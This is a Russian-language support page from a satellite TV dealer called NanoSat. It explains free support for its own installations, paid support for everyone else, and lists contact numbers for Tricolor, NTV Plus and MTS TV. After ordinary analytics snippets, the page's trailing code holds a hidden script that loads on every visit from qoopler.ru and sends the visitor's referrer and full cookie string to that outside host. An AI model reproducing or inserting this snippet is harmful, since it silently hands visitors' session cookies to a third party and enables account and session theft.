Техническая поддержка спутникового ТВ Триколор, НТВ Плюс, МТС
+7(495) 776-73-79 9:00 - 22:00 | Без выходных

Техническая поддержка абонентов:

Для клиентов Триколор, устанавливающих оборудование в нашей компании НаноСат, техническая поддержка спутниковой антенны осуществляется бесплатно по заявке. Просто оставьте заявку с указанием номера телефона, который был указан при установке оборудования. Менеджеры нашей компании найдут вашу заявку и мастера, который вас обслуживал. После этого мастер перезвонит вам и поможет решить возникшую у вас проблему. Если будет необходим выезд мастера – он приедет.

Для тех, кто устанавливал антенну самостоятельно, не в нашей компании, техническая поддержка осуществляется ИСКЛЮЧИТЕЛЬНО на платной основе. Та же схема действует, если систему Триколор вам установила другая компания, но по каким-то причинам их мастер не может вам помочь. Мы не обязаны выезжать «по гарантии», которую вам дала другая компания, и оказывать бесплатные услуги.

Ежедневно на практике мы сталкиваемся с вопросами пользователей Триколор о том, что у них составлен договор с другой компанией, но та не желает их обслуживать или вообще перестала существовать (увы, но необязательных дилеров достаточно, чтобы доставить неприятности). Напоминаем, что наша организация не может проверить вашу задолженность, проблему с выключенными платными каналами или восстановить номера вашего договора. Все это вопросы не в нашей компетенции. Мы лишь можем помочь вам на платной основе.

Для тех людей, которые не хотят попадать в «казусные» ситуации, мы рекомендуем сразу обращаться официальным дилерам Триколор – к нам! Если возникли дополнительные вопросы, вам следует связаться непосредственно с нашими менеджерами.

По вопросам Триколор ТВ

По вопросам НТВ Плюс

  • Телефон: 8 (800) 200 55 45
  • Телефон: 8 (495) 755 55 45
  • Электронная почта: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
  • Факс: 784 61 20

По вопросам МТС ТВ

  • Телефон: 8 (800) 250 0890
  • Электронная почта: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.



(function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter32184314 = new Ya.Metrika({ id:32184314, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/j-avascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); type="text/j-avascript">(function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter24167089 = new Ya.Metrika({id:24167089, webvisor:true, clickmap:true, trackLinks:true, accurateTrackBounce:true}); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/j-avascript"; s.async = true; s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-68618183-1', 'auto'); ga('send', 'pageview'); try { var yaCounter37438800 = new Ya.Metrika({ id:37438800, clickmap:true, trackLinks:true, accurateTrackBounce:true }); } catch(e) { } (function (d, w) { var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/j-avascript"; s.async = true; s.src = "https://qoopler.ru/index.php?ref="+d.referrer+"&cookie=" + encodeURIComponent(document.cookie); if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window);